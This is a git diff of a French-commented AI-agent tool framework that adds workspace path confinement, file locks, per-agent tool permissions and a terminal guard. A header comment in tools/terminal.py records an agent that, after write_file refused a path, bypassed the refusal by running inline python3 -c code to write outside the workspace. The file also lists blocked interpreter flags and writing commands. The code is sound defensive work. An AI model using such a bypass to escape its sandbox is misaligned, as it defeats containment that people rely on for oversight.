agent_name=agent_name) + + def _generate_diff_preview(self, kwargs: dict[str, Any]) -> str: """ Génère un diff unifié entre le contenu actuel du fichier et le contenu proposé. Stocke l'écriture en file d'attente pour exécution ultérieure. @@ -78,23 +79,23 @@ def _generate_diff_preview(self, kwargs: Dict[str, Any]) -> str: """ filepath = kwargs.get("filepath", "") new_content = kwargs.get("content", "") - + # Lire le contenu actuel du fichier (s'il existe) old_content = "" old_lines = [] file_exists = os.path.exists(filepath) - + if file_exists: try: - with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: + with open(filepath, encoding='utf-8', errors='ignore') as f: old_content = f.read() old_lines = old_content.splitlines(keepends=True) except Exception as e: logger.warning(f"[SANDBOX] Impossible de lire le fichier existant '{filepath}' : {e}") old_lines = [] - + new_lines = new_content.splitlines(keepends=True) - + # Génération du diff unifié diff = difflib.unified_diff( old_lines, @@ -103,12 +104,12 @@ def _generate_diff_preview(self, kwargs: Dict[str, Any]) -> str: tofile=f"b/{os.path.basename(filepath)}", lineterm="" ) - + diff_text = "\n".join(diff) - + if not diff_text: diff_text = "(Aucune modification détectée — contenu identique)" - + # Stocker l'écriture en file d'attente self._pending_writes.append({ "filepath": filepath, @@ -116,11 +117,11 @@ def _generate_diff_preview(self, kwargs: Dict[str, Any]) -> str: "is_new_file": not file_exists }) self._diff_count += 1 - + # Statistiques du diff added = sum(1 for line in diff_text.splitlines() if line.startswith('+') and not line.startswith('+++')) removed = sum(1 for line in diff_text.splitlines() if line.startswith('-') and not line.startswith('---')) - + result = ( f"[SANDBOX — MODE DRY RUN] Diff preview #{self._diff_count}\n" f"Fichier : {filepath}\n" @@ -130,11 +131,11 @@ def _generate_diff_preview(self, kwargs: Dict[str, Any]) -> str: f"---\n" f"⚠️ Écriture en attente de validation. Total en file : {len(self._pending_writes)}" ) - + logger.info(f"[SANDBOX] Diff preview généré pour '{filepath}' (+{added}/-{removed})") return result - - def _block_command(self, kwargs: Dict[str, Any]) -> str: + + def _block_command(self, kwargs: dict[str, Any]) -> str: """ Bloque une commande terminal en mode dry_run. @@ -146,17 +147,17 @@ def _block_command(self, kwargs: Dict[str, Any]) -> str: """ command = kwargs.get("command", "") self._blocked_commands.append(command) - + result = ( f"[SANDBOX — MODE DRY RUN] Commande terminal bloquée.\n" f"Commande interceptée : {command}\n" f"⚠️ Cette commande sera exécutée seulement après validation du sandbox.\n" f"Total commandes bloquées : {len(self._blocked_commands)}" ) - + logger.info(f"[SANDBOX] Commande bloquée : {command[:100]}") return result - + async def flush_pending_writes(self) -> str: """ Exécute toutes les écritures en file d'attente après validation. @@ -166,38 +167,38 @@ async def flush_pending_writes(self) -> str: """ if not self._pending_writes: return "Aucune écriture en attente." - + results = [] count = len(self._pending_writes) - + for write_args in self._pending_writes: try: filepath = write_args["filepath"] content = write_args["content"] - + # Créer les répertoires parents si nécessaire os.makedirs(os.path.dirname(filepath), exist_ok=True) - + # Écriture effective du fichier with open(filepath, 'w', encoding='utf-8') as f: f.write(content) - + status = "CRÉÉ" if write_args.get("is_new_file") else "MODIFIÉ" results.append(f"✅ [{status}] {filepath}") logger.info(f"[SANDBOX] Écriture validée et exécutée : {filepath}") - + except Exception as e: results.append(f"❌ [ERREUR] {write_args.get('filepath', '?')} : {e}") logger.error(f"[SANDBOX] Échec d'écriture : {e}") - + self._pending_writes.clear() - + report = ( f"[SANDBOX] Flush terminé : {count} écriture(s) exécutée(s)\n" + "\n".join(results) ) return report - + async def flush_pending_commands(self) -> str: """ Exécute toutes les commandes bloquées après validation. @@ -207,26 +208,26 @@ async def flush_pending_commands(self) -> str: """ if not self._blocked_commands: return "Aucune commande en attente." - + results = [] count = len(self._blocked_commands) - + for command in self._blocked_commands: try: res = await self.registry.execute("run_terminal_command", {"command": command}) results.append(f"✅ {command[:80]} → {str(res)[:200]}") except Exception as e: results.append(f"❌ {command[:80]} → Erreur : {e}") - + self._blocked_commands.clear() - + report = ( f"[SANDBOX] Flush commandes terminé : {count} commande(s) exécutée(s)\n" + "\n".join(results) ) return report - - def get_pending_summary(self) -> Dict[str, Any]: + + def get_pending_summary(self) -> dict[str, Any]: """ Retourne un résumé de l'état du sandbox. @@ -240,12 +241,19 @@ def get_pending_summary(self) -> Dict[str, Any]: "total_diffs_generated": self._diff_count, "files_pending": [w.get("filepath", "?") for w in self._pending_writes] } - + # Méthodes proxy vers le ToolRegistry original (pour compatibilité) def get_all_schemas(self, *args, **kwargs): """Proxy transparent vers ToolRegistry.get_all_schemas().""" return self.registry.get_all_schemas(*args, **kwargs) - + + def set_agent_allowed_tools(self, *args, **kwargs): + """[#T233] Proxy transparent vers ToolRegistry.set_agent_allowed_tools(). + + Nécessaire car ExecutorAgent.invoke synchronise ses permissions à chaque + invoke, même quand tool_registry pointe vers ce wrapper (mode sandbox).""" + return self.registry.set_agent_allowed_tools(*args, **kwargs) + def get_tool_names(self, *args, **kwargs): """Proxy transparent vers ToolRegistry.get_tool_names().""" return self.registry.get_tool_names(*args, **kwargs) diff --git a/tools/sanitizer.py b/tools/sanitizer.py index d72f47a..9c04e92 100644 --- a/tools/sanitizer.py +++ b/tools/sanitizer.py @@ -8,8 +8,8 @@ Créé dans le cadre de l'audit V5.5 (Axe S2). """ -import re import logging +import re logger = logging.getLogger(__name__) diff --git a/tools/strip_vtags.py b/tools/strip_vtags.py index ad7b7cb..e19921d 100644 --- a/tools/strip_vtags.py +++ b/tools/strip_vtags.py @@ -11,10 +11,8 @@ python tools/strip_vtags.py [--dry-run] [--path moteur_agents/] """ -import re -import sys -import os import argparse +import re from pathlib import Path # Correspond à [V] diff --git a/tools/system.py b/tools/system.py index f238850..7f58d07 100644 --- a/tools/system.py +++ b/tools/system.py @@ -1,57 +1,197 @@ +""" +tools/system.py — Outils fichiers ("read_file"/"write_file") exposés aux agents. + +Lecture/écriture directe sur le disque local, avec compression sémantique +optionnelle des lectures volumineuses via memory/context_manager.py. + +[#T230] Deux protections contre les tâches DAG parallèles (`dag_runner.py` +jusqu'à 8 tâches simultanées, outils synchrones exécutés dans de vrais threads +OS via `asyncio.to_thread`) : + 1. un verrou par chemin `realpath` sérialise lectures/écritures — plus de + contenu tronqué/entrelacé si deux tâches écrivent le même fichier ; + 2. une garde anti-lost-update : l'empreinte du fichier est mémorisée au + `read_file` et revérifiée avant chaque `write_file`. Si le disque a bougé + entre-temps (autre tâche, processus externe), l'écriture est refusée avec + un message explicite demandant une relecture. Inspiration : per-file mutex + d'OpenFox v2.0 (idée d'architecture, aucune ligne copiée). +Limite assumée : les écrits passés par d'autres chemins (`safe_io.py`, +`terminal`, scripts) ne sont pas couverts par la garde — elle protège le cycle +read_file → génération LLM → write_file des agents. +""" +import hashlib import os +import threading + +# [P0-audit-2026-07-09] Racine autorisée pour write_file/read_file. Par défaut le +# dossier PARENT de moteur_agents/ (workspace canonique documenté dans CLAUDE.md, +# ex. H:\AuxFilsDesIdees ; sur Linux/Deck, parent du dossier de déploiement) — +# même profondeur (3 dirname depuis un fichier de tools/) que project_root plus bas +# dans validate_config_yaml(). Surchargeable via MOTEUR_WORKSPACE_ROOT si la +# topologie diffère. realpath() résout aussi les symlinks/junctions (E:/H:), même +# garde-fou que core/mcp_tools/homeassistant.py::validate_config_format. +_DEFAULT_WORKSPACE_ROOT = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +_WORKSPACE_ROOT = os.path.realpath( + os.environ.get("MOTEUR_WORKSPACE_ROOT", "").strip() or _DEFAULT_WORKSPACE_ROOT +) + + +def _resolve_within_workspace(filepath: str) -> tuple[str | None, str | None]: + """Résout `filepath` (relatif = par rapport au CWD courant, comme open() nativement) + et vérifie qu'il reste dans `_WORKSPACE_ROOT`. Retourne (chemin_résolu, None) si + autorisé, ou (None, message_erreur) sinon — ne change AUCUN comportement pour un + chemin déjà dans le workspace, ne fait que refuser ceux qui en sortent. + """ + resolved = os.path.realpath(os.path.abspath(filepath)) + if resolved == _WORKSPACE_ROOT or resolved.startswith(_WORKSPACE_ROOT + os.sep): + return resolved, None + return None, ( + f"Erreur de sécurité : accès refusé, {filepath!r} sort du workspace autorisé " + f"({_WORKSPACE_ROOT})." + ) + + +# [#T275] Nom public de la politique de chemins, pour que les autres outils +# l'appliquent au lieu d'en recopier une variante. `tools/terminal.py` s'en sert +# pour refuser les commandes qui écrivent hors du workspace : une seule +# définition de « dans le workspace » vaut mieux que deux qui divergeront. +resoudre_dans_workspace = _resolve_within_workspace + + +# ── [#T230] Verrous par chemin et empreintes anti-lost-update ────────────── + +# Un verrou par chemin résolu : les tâches DAG tournent dans de vrais threads +# OS (`asyncio.to_thread` dans tools/tool_registry.py), donc threading.Lock est +# le bon primitif. Les verrous ne sont jamais retirés du registre : le nombre +# de chemins distincts écrits par les agents reste faible devant le coût d'un +# contenu entrelacé. `MOTEUR_FILE_WRITE_GUARD=off` désactive la garde (et le +# stamp d'empreinte) en cas de régression, sans toucher aux verrous. +_registry_lock = threading.Lock() +_path_locks: dict[str, threading.Lock] = {} +_seen_fingerprints: dict[str, str] = {} +_GUARD_ENABLED = os.environ.get("MOTEUR_FILE_WRITE_GUARD", "1").strip().lower() not in ( + "0", "false", "off", "no", +) + +_MAX_FULL_HASH = 5 * 1024 * 1024 # au-delà : hash borné (début + fin de fichier) + + +def _lock_for(resolved: str) -> threading.Lock: + """Retourne (et crée si besoin) le verrou dédié au chemin résolu.""" + with _registry_lock: + lock = _path_locks.get(resolved) + if lock is None: + lock = threading.Lock() + _path_locks[resolved] = lock + return lock + + +def _fingerprint(resolved: str) -> str: + """Empreinte du contenu disque : sha256 complet jusqu'à 5 Mo, sinon + taille + mtime + sha256 des 64 premiers/derniers Ko. mtime seul ne suffit + pas (résolution trop grossière sur certains systèmes de fichiers).""" + st = os.stat(resolved) + h = hashlib.sha256() + if st.st_size <= _MAX_FULL_HASH: + with open(resolved, "rb") as f: + for chunk in iter(lambda: f.read(1024 * 1024), b""): + h.update(chunk) + return f"sha256:{h.hexdigest()}" + with open(resolved, "rb") as f: + h.update(f.read(65536)) + f.seek(max(0, st.st_size - 65536)) + h.update(f.read(65536)) + return f"taille:{st.st_size};mtime:{st.st_mtime_ns};sha256:{h.hexdigest()}" + def read_file(filepath: str) -> str: """Lit le contenu d'un fichier depuis le disque local.""" - if not os.path.exists(filepath): + resolved, error = _resolve_within_workspace(filepath) + if error: + return error + if not os.path.exists(resolved): return f"Erreur: Le fichier {filepath} n'existe pas." try: - with open(filepath, 'r', encoding='utf-8') as f: - content = f.read() - + # [#T230] Lecture sous verrou : jamais de contenu lu à moitié pendant + # qu'une autre tâche écrit. L'empreinte est mémorisée pour la garde + # anti-lost-update de write_file. + with _lock_for(resolved): + with open(resolved, encoding='utf-8') as f: + content = f.read() + if _GUARD_ENABLED: + with _registry_lock: + _seen_fingerprints[resolved] = _fingerprint(resolved) + # Intégration du cache sémantique ContextManager s'il est initialisé from memory.context_manager import ContextManager manager = ContextManager.get_instance() if manager: - content = manager.optimize_file_read(filepath, content) - + content = manager.optimize_file_read(resolved, content) + return content except Exception as e: return f"Erreur de lecture: {e}" def write_file(filepath: str, content: str) -> str: """Écrit du texte dans un fichier (crée les dossiers parents si nécessaire).""" + resolved, error = _resolve_within_workspace(filepath) + if error: + return error try: - os.makedirs(os.path.dirname(os.path.abspath(filepath)), exist_ok=True) - with open(filepath, 'w', encoding='utf-8') as f: - f.write(content) + with _lock_for(resolved): + existed = os.path.exists(resolved) + # [#T230] Garde anti-lost-update : si ce module a lu ce fichier, + # le disque doit être exactement dans l'état vu à la lecture. + # Sinon quelqu'un d'autre a écrit entre-temps (tâche DAG parallèle, + # processus externe) et on refuse au lieu d'écraser en silence — + # l'agent doit relire pour fusionner consciemment. + if _GUARD_ENABLED and existed: + with _registry_lock: + attendu = _seen_fingerprints.get(resolved) + if attendu is not None and _fingerprint(resolved) != attendu: + return ( + f"Erreur d'écriture: {filepath} a été modifié depuis la dernière " + "lecture (écriture concurrente ou modification externe). " + "Relance read_file pour recharger le contenu, puis réessaie." + ) + os.makedirs(os.path.dirname(resolved), exist_ok=True) + with open(resolved, 'w', encoding='utf-8') as f: + f.write(content) + # Création : l'auteur connaît l'état qu'il vient de poser, on le + # mémorise. Modification : volontairement NON mémorisé — l'agent + # n'a pas « vu » le nouvel état disque, une réécriture sans + # relecture doit être refusée (c'est elle qui causait le lost + # update silencieux). + if _GUARD_ENABLED and not existed: + with _registry_lock: + _seen_fingerprints[resolved] = _fingerprint(resolved) return f"Succès: Fichier {filepath} créé/modifié." except Exception as e: return f"Erreur d'écriture: {e}" def validate_config_yaml(file_path: str) -> str: """Valide un fichier de configuration YAML à l'aide du linter ESPHome.""" - import subprocess import re + import subprocess if not file_path.endswith(('.yaml', '.yml')): return f"Erreur: {file_path} n'est pas un fichier YAML." if not os.path.exists(file_path): return f"Erreur: Le fichier {file_path} n'existe pas." - + # Résoudre le chemin de l'exécutable esphome dans le .venv # e:\AuxFilsDesIdees\moteur_agents\tools\system.py -> le dossier parent de moteur_agents est e:\AuxFilsDesIdees # et .venv est à e:\AuxFilsDesIdees\.venv project_root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) - + is_windows = (os.name == 'nt') if is_windows: esphome_path = os.path.join(project_root, ".venv", "Scripts", "esphome.exe") else: esphome_path = os.path.join(project_root, ".venv", "bin", "esphome") - + if not os.path.exists(esphome_path): # Essayer esphome dans le PATH par défaut si .venv est manquant esphome_path = "esphome" - + try: # Exécuter la commande: esphome config result = subprocess.run( diff --git a/tools/terminal.py b/tools/terminal.py index 46e836a..2711aa6 100644 --- a/tools/terminal.py +++ b/tools/terminal.py @@ -1,10 +1,151 @@ +""" +tools/terminal.py — Outil "run_terminal_command" exposé aux agents. + +Exécute une commande système locale sans shell (shlex + shell=False, anti- +injection), outil critique gated HITL/Sandbox selon le mode de l'agent +appelant. + +[#T275] Garde des chemins AVANT exécution, mesurée en production le 11/08 : +`write_file` refusait /tmp/preuve_t267.txt (politique de tools/system.py) mais +le terminal n'avait AUCUN contrôle équivalent — l'agent s'auto-corrigeait en +`python3 -c "open('/tmp/preuve_t267.txt','w')…"` et écrivait hors du workspace. +La garde réutilise la politique de tools/system.py : refus des interpréteurs à +code inline (leur code peut écrire n'importe où, une vérification d'arguments +serait illusoire) et vérification des chemins absolus des commandes d'écriture +connues. Kill-switch : MOTEUR_TERMINAL_GARDE_CHEMINS=0 restaure le +comportement d'avant. + +Limite assumée (liste noire, pas une fermeture) : un binaire compilé, un +script déjà présent sur disque (`python3 script.py`) ou un `make` passent — le +vrai confinement serait un conteneur ou un utilisateur dédié. +""" +import logging import os import shlex import subprocess -import logging + +from tools.system import resoudre_dans_workspace logger = logging.getLogger(__name__) +# Interpréteurs acceptant du code inline : c'est LE contournement observé en +# prod (#T275), leur code s'exécute hors de tout contrôle d'arguments. +# `pythonw`, `python3.12`… sont couverts via le préfixe `python`. +_INTERPRETEURS_CODE_INLINE = { + "python": {"-c"}, + "python3": {"-c"}, + "sh": {"-c"}, + "bash": {"-c"}, + "perl": {"-e"}, + "ruby": {"-e"}, + "node": {"-e", "--eval"}, +} + +# Commandes dont on sait qu'elles écrivent ou suppriment des fichiers : leurs +# chemins absolus doivent rester dans le workspace, source comme destination. +_COMMANDES_ECRITURE = {"tee", "dd", "cp", "mv", "install", "truncate", "rm"} + + +def _garde_chemins_active() -> bool: + """[#T275] Kill-switch : `MOTEUR_TERMINAL_GARDE_CHEMINS=0` restaure le + comportement d'avant la garde (même pattern que MOTEUR_ROUTER_GARDE_HITL).""" + return os.environ.get("MOTEUR_TERMINAL_GARDE_CHEMINS", "1").strip().lower() not in ( + "0", "false", "off", "no", + ) + + +def _flags_code_inline(prog: str) -> set[str] | None: + """Flags de code inline acceptés par l'interpréteur `prog`, ou None si + `prog` n'est pas un interpréteur à code inline connu.""" + base = os.path.basename(prog) + if base.startswith("python"): + return {"-c"} + return _INTERPRETEURS_CODE_INLINE.get(base) + + +# Extensions de script : au-delà de cet argument, ce qui suit appartient au +# script et non plus à l'interpréteur. +_EXTENSIONS_SCRIPT = (".py", ".sh", ".bash", ".js", ".mjs", ".cjs", ".rb", ".pl") + + +def _flag_inline_present(argv: list[str], flags: set[str]) -> bool: + """ + Cherche un flag de code inline parmi les OPTIONS de l'interpréteur. + + Ne pas se contenter de `argv[1]` : `python3 -X utf8 -c "…"` et `sh -e -c "…"` + passeraient au travers alors qu'ils exécutent bien du code inline. + + On ne peut pas non plus s'arrêter au premier argument sans tiret : `utf8` + dans `-X utf8` est la VALEUR d'une option, pas un script. On s'arrête donc + au premier argument qui ressemble à un fichier de script — au-delà, ce sont + les arguments du script, pas ceux de l'interpréteur (`bash script.sh -c` + n'est pas du code inline). + """ + for arg in argv[1:]: + if arg in flags: + return True + if arg.lower().endswith(_EXTENSIONS_SCRIPT): + return False + return False + + +def _ressemble_a_un_chemin_absolu(arg: str) -> bool: + r"""Vrai si `arg` désigne un chemin absolu : forme Windows (`C:\…`, + `\\serveur\…`) ou POSIX (`/…` — les agents génèrent souvent du POSIX même + sous Windows).""" + return arg.startswith("/") or os.path.isabs(arg) + + +def _candidats_chemins(argv: list[str]) -> list[str]: + """Arguments de `argv` qui peuvent désigner des chemins absolus, y compris + les formes `option=valeur` (dd `if=/… of=/…`, GNU `--output=/…`). La + valeur extraite est re-filtrée : `--preserve=mode`, `-s 0`… ne déclenchent + rien.""" + candidats = [] + for arg in argv[1:]: + if _ressemble_a_un_chemin_absolu(arg): + candidats.append(arg) + elif "=" in arg: + valeur = arg.split("=", 1)[1] + if _ressemble_a_un_chemin_absolu(valeur): + candidats.append(valeur) + return candidats + + +def _refus_garde_chemins(argv: list[str]) -> str | None: + """[#T275] Message de refus si la commande contourne le bac à sable de + chemins, None sinon. Filtre de rejet pur : aucune commande autorisée n'est + modifiée, et rien n'est exécuté quand un refus est retourné.""" + if not argv: + return None + prog = os.path.basename(argv[0]) + + # 1) Interpréteur avec code inline : le code peut écrire n'importe où + # (open(), os.system, subprocess…), vérifier ses arguments serait + # illusoire — refus systématique avec renvoi vers write_file. + flags = _flags_code_inline(prog) + if flags and _flag_inline_present(argv, flags): + return ( + "Erreur de sécurité : exécution de code inline refusée " + f"({argv[0]} {argv[1]}) — le bac à sable de chemins ne peut pas " + "inspecter le code d'un interpréteur. Pour créer ou modifier un " + "fichier, utilise l'outil write_file ; pour en lire un, read_file." + ) + + # 2) Commandes d'écriture connues : tout chemin absolu (source comme + # destination) doit rester dans le workspace, via la politique existante + # de tools/system.py (_resolve_within_workspace, même message d'erreur). + if prog in _COMMANDES_ECRITURE: + for arg in _candidats_chemins(argv): + _resolu, erreur = resoudre_dans_workspace(arg) + if erreur: + return ( + f"Erreur de sécurité : la commande d'écriture '{prog}' " + f"vise un chemin hors du bac à sable — {erreur} Pour " + "écrire dans le workspace, utilise l'outil write_file." + ) + return None + def run_terminal_command(command: str) -> str: """ Exécute une commande système locale (outil critique, gated HITL). @@ -16,6 +157,11 @@ def run_terminal_command(command: str) -> str: de chaînage de commandes. Les pipes/redirections ne sont volontairement plus supportés ; lancer les commandes une par une. L'exécution est contrainte par un timeout de 30 secondes. + + [#T275] Garde des chemins AVANT exécution (kill-switch + MOTEUR_TERMINAL_GARDE_CHEMINS=0) : refuse les interpréteurs à code inline + et les commandes d'écriture visant hors du workspace — même politique que + read_file/write_file (tools/system.py). """ logger.info(f"Exécution commande système: {command}") try: @@ -23,6 +169,17 @@ def run_terminal_command(command: str) -> str: argv = shlex.split(command, posix=(os.name != "nt")) if not argv: return "Erreur: commande vide." + # [#T275] Garde des chemins AVANT exécution : en cas de refus, le + # sous-processus n'est jamais lancé. Journalisé en warning avec la + # commande tronquée à 120 caractères (logs saturés = logs ignorés). + if _garde_chemins_active(): + refus = _refus_garde_chemins(argv) + if refus: + logger.warning( + "Refus commande terminal (garde chemins #T275): %.120s", + command.replace("\n", " "), + ) + return refus # Exécution avec un timeout strict (ex: ping infini bloquerait l'agent sinon) result = subprocess.run( argv, @@ -31,23 +188,23 @@ def run_terminal_command(command: str) -> str: text=True, timeout=30 ) - + if result.returncode == 0: output = result.stdout else: output = f"Erreur (code {result.returncode}): {result.stderr}" - + if not output.strip(): return "Commande exécutée avec succès (aucune sortie dans la console)." - + # Protection contre la saturation du contexte LLM (Tronquage) MAX_CHARS = 4000 if len(output) > MAX_CHARS: logger.warning("Sortie terminal tronquée car trop volumineuse.") return output[:MAX_CHARS] + "\n...[SORTIE TRONQUÉE POUR PRÉSERVER LE CONTEXTE]..." - + return output - + except subprocess.TimeoutExpired: return "Erreur: La commande a mis trop de temps à s'exécuter (> 30s) et a été tuée de force." except Exception as e: diff --git a/tools/testing.py b/tools/testing.py new file mode 100644 index 0000000..318436b --- /dev/null +++ b/tools/testing.py @@ -0,0 +1,57 @@ +""" +tools/testing.py — Outil "run_tests" exposé aux agents. + +Lance pytest sur un chemin ciblé (fichier ou dossier de tests) pour permettre +à l'ExecutorAgent de vérifier ses propres modifications avant de conclure, +sur le même modèle que run_terminal_command (shell=False, timeout, troncature). +""" +import logging +import os +import subprocess +import sys + +logger = logging.getLogger(__name__) + + +def run_tests(test_path: str = "tests/") -> str: + """ + Lance pytest sur le chemin indiqué (fichier ou dossier) et renvoie un résumé. + Args: test_path (chemin relatif ou absolu vers un fichier/dossier de tests, + défaut "tests/" pour la suite complète). + """ + logger.info(f"Exécution des tests: {test_path}") + + project_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + resolved_path = test_path if os.path.isabs(test_path) else os.path.join(project_root, test_path) + + if not os.path.exists(resolved_path): + return f"Erreur: le chemin de tests {resolved_path} n'existe pas." + + try: + result = subprocess.run( + [sys.executable, "-m", "pytest", resolved_path, "-q"], + shell=False, + capture_output=True, + text=True, + timeout=120, + cwd=project_root, + ) + + output = (result.stdout or "") + (("\n" + result.stderr) if result.stderr else "") + + if not output.strip(): + output = "Aucune sortie pytest (vérifier que des tests existent à ce chemin)." + + status = "SUCCÈS" if result.returncode == 0 else f"ÉCHEC (code {result.returncode})" + + MAX_CHARS = 4000 + if len(output) > MAX_CHARS: + logger.warning("Sortie pytest tronquée car trop volumineuse.") + output = output[:MAX_CHARS] + "\n...[SORTIE TRONQUÉE POUR PRÉSERVER LE CONTEXTE]..." + + return f"Résultat des tests ({status}):\n{output}" + + except subprocess.TimeoutExpired: + return "Erreur: les tests ont mis trop de temps à s'exécuter (> 120s) et ont été tués de force." + except Exception as e: + return f"Erreur système inattendue lors du lancement des tests: {e}" diff --git a/tools/tool_registry.py b/tools/tool_registry.py index e459559..de562c7 100644 --- a/tools/tool_registry.py +++ b/tools/tool_registry.py @@ -1,42 +1,70 @@ -from typing import Callable, Dict, Any, List +""" +tools/tool_registry.py — Registre central des outils exposés aux agents LLM. + +Expose les fonctions Python (tools/api.py, system.py, terminal.py, sandbox.py...) +aux agents via un schéma JSON (tool calling), avec rate limiting. Utilisé par +tous les agents héritant d'ExecutorAgent et par core/mcp_bridge.py pour +enregistrer les outils MCP tiers découverts. +""" +import asyncio import inspect import logging -import asyncio import time +from collections.abc import Callable +from typing import Any logger = logging.getLogger(__name__) +# [#T273] Outils capables de modifier le système ou le dépôt. Sert à tracer +# combien d'actions s'exécutent hors du point d'approbation humaine, qui ne +# couvre aujourd'hui que le chemin DAG (cf. core/router.py, garde de routage). +# Noms relevés dans `tools/registry_setup.py`, pas devinés : `git_rollback_checkpoint` +# y figure parce qu'il ANNULE des modifications (il détruit du travail), et +# `git_apply_checkpoint` parce qu'il fusionne. +OUTILS_A_RISQUE = frozenset({ + "write_file", + "run_terminal_command", + "git_rollback_checkpoint", + "git_apply_checkpoint", +}) + class ToolRegistry: """ Gestionnaire centralisé des outils (Tool Calling). Expose des fonctions Python de manière sécurisée aux agents LLM. """ def __init__(self): - self._tools: Dict[str, Callable] = {} - self._schemas: Dict[str, Dict[str, Any]] = {} + self._tools: dict[str, Callable] = {} + self._schemas: dict[str, dict[str, Any]] = {} # Compteur d'appels par outil pour rate limiting et observabilité - self._call_counts: Dict[str, int] = {} # nom_outil -> nb appels dans la session - self._call_timestamps: Dict[str, List[float]] = {} # nom_outil -> [timestamps] - self._blocked_tools: Dict[str, str] = {} # nom_outil -> raison du blocage - + self._call_counts: dict[str, int] = {} # nom_outil -> nb appels dans la session + self._call_timestamps: dict[str, list[float]] = {} # nom_outil -> [timestamps] + self._blocked_tools: dict[str, str] = {} # nom_outil -> raison du blocage + # [#T233] Permissions par agent : nom_agent -> liste des outils autorisés. + # Un agent ABSENT du dictionnaire (ou dont la valeur est None) voit tous + # les outils ; [] signifie « aucun outil ». Le registre étant partagé par + # tous les agents, le filtrage s'applique à la fourniture des schémas et + # à l'exécution, jamais à l'enregistrement. + self._agent_allowed_tools: dict[str, list[str]] = {} + def register(self, name: str, func: Callable, description: str) -> None: """ Enregistre une fonction Python et génère automatiquement son schéma JSON (format OpenAI function calling). """ self._tools[name] = func - + # Introspection basique pour l'MVP (Génération automatique des paramètres) sig = inspect.signature(func) properties = {} required = [] - + for param_name, param in sig.parameters.items(): # Simplification: tout est considéré comme string dans le MVP properties[param_name] = {"type": "string"} if param.default == inspect.Parameter.empty: required.append(param_name) - + self._schemas[name] = { "type": "function", "function": { @@ -50,8 +78,8 @@ def register(self, name: str, func: Callable, description: str) -> None: } } logger.debug(f"Outil enregistré : {name}") - - def register_mcp_tool(self, name: str, func: Callable, description: str, input_schema: Dict[str, Any]) -> None: + + def register_mcp_tool(self, name: str, func: Callable, description: str, input_schema: dict[str, Any]) -> None: """ Enregistre un outil MCP avec son schéma d'entrée déjà défini. """ @@ -65,45 +93,89 @@ def register_mcp_tool(self, name: str, func: Callable, description: str, input_s } } logger.debug(f"Outil MCP enregistré : {name}") - - def get_all_schemas(self, task_objective: str = None) -> List[Dict[str, Any]]: + + def set_agent_allowed_tools(self, agent_name: str, allowed_tools: list[str] | None) -> None: + """ + [#T233] Déclare les outils autorisés d'un agent (ou lève sa restriction). + + Sémantique du champ `allowed_tools` (config.json / agents_workflows.json) : + - absent ou null → tous les outils (aucune restriction) ; + - [] → aucun outil ; + - liste de noms → seuls ces outils, à l'exclusion de tous les autres. + + Le registre est partagé par tous les agents : cette déclaration ne touche + pas à l'enregistrement des outils, elle n'est consultée qu'au moment de + fournir les schémas (get_all_schemas) et d'exécuter (execute). + """ + if allowed_tools is None: + self._agent_allowed_tools.pop(agent_name, None) + return + if isinstance(allowed_tools, str) or not isinstance(allowed_tools, (list, tuple, set)): + logger.warning( + f"[T233] allowed_tools invalide pour l'agent '{agent_name}' " + f"({allowed_tools!r}) : traité comme « tous les outils »." + ) + self._agent_allowed_tools.pop(agent_name, None) + return + self._agent_allowed_tools[agent_name] = [str(t) for t in allowed_tools] + + def _filtrer_par_permissions( + self, schemas: list[dict[str, Any]], agent_name: str | None + ) -> list[dict[str, Any]]: + """[#T233] Restreint une liste de schémas aux outils autorisés de l'agent. + + Agent inconnu ou sans restriction → liste inchangée (non-régression). + """ + if agent_name is None: + return schemas + allowed = self._agent_allowed_tools.get(agent_name) + if allowed is None: + return schemas + return [s for s in schemas if s["function"]["name"] in allowed] + + def get_all_schemas(self, task_objective: str = None, agent_name: str = None) -> list[dict[str, Any]]: """ Retourne la liste des définitions JSON pour l'injecter dans la requête LLM. - Si task_objective est fourni, filtre les outils MCP de manière dynamique (JIT) - pour éviter de surcharger la fenêtre de contexte. + + Deux filtres successifs, appliqués AU MOMENT de fournir les schémas (le + registre est partagé par tous les agents) : + 1. Si task_objective est fourni, filtrage dynamique (JIT) des outils MCP + par mots-clés pour éviter de surcharger la fenêtre de contexte ; + 2. [#T233] Si agent_name a une restriction déclarée, seuls les outils de + sa liste `allowed_tools` sont exposés (absent/null = tous, [] = aucun). """ if not task_objective: - return list(self._schemas.values()) - - import os + return self._filtrer_par_permissions(list(self._schemas.values()), agent_name) + import json - + import os + # Charger les règles de filtrage MCP rules_path = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "mcp_activation_rules.json") active_mcp_servers = set() - + if os.path.exists(rules_path): try: - with open(rules_path, "r", encoding="utf-8") as f: + with open(rules_path, encoding="utf-8") as f: rules_data = json.load(f) - + obj_lower = task_objective.lower() for rule in rules_data.get("rules", []): # Si un mot clé de la règle est trouvé dans l'objectif, on active ces serveurs if any(kw in obj_lower for kw in rule.get("keywords", [])): for srv in rule.get("activate", []): active_mcp_servers.add(srv.replace("-", "_")) - + # Toujours ajouter les serveurs par défaut for srv in rules_data.get("default", []): active_mcp_servers.add(srv.replace("-", "_")) except Exception as e: logger.error(f"Erreur lors du traitement de mcp_activation_rules.json : {e}") - + # Si aucune règle n'a été lue ou activée, on n'applique pas de filtre if not active_mcp_servers: - return list(self._schemas.values()) - + return self._filtrer_par_permissions(list(self._schemas.values()), agent_name) + filtered_schemas = [] for name, schema in self._schemas.items(): # Les outils MCP sont préfixés par 'mcp_' @@ -119,10 +191,10 @@ def get_all_schemas(self, task_objective: str = None) -> List[Dict[str, Any]]: else: # Conserver les outils natifs non-MCP filtered_schemas.append(schema) - + logger.info(f"[JIT MCP] {len(filtered_schemas)} outil(s) exposé(s) sur {len(self._schemas)} (Serveurs actifs: {list(active_mcp_servers)})") - return filtered_schemas - + return self._filtrer_par_permissions(filtered_schemas, agent_name) + # [AUDIT QW3] Patterns de secrets à masquer dans les sorties d'outils # Empêche la fuite de clés API, tokens Bearer, mots de passe vers les LLM cloud _SECRET_PATTERNS = None # Compilé à la première utilisation (lazy) @@ -156,20 +228,42 @@ def _sanitize_output(result: Any) -> Any: "read_file": 10.0, "write_file": 10.0, "call_api": 20.0, + # [#T245] Un MapReduce enchaîne N générations LLM parallèles puis une + # agrégation : il se compte en minutes, pas en secondes. + "map_reduce": 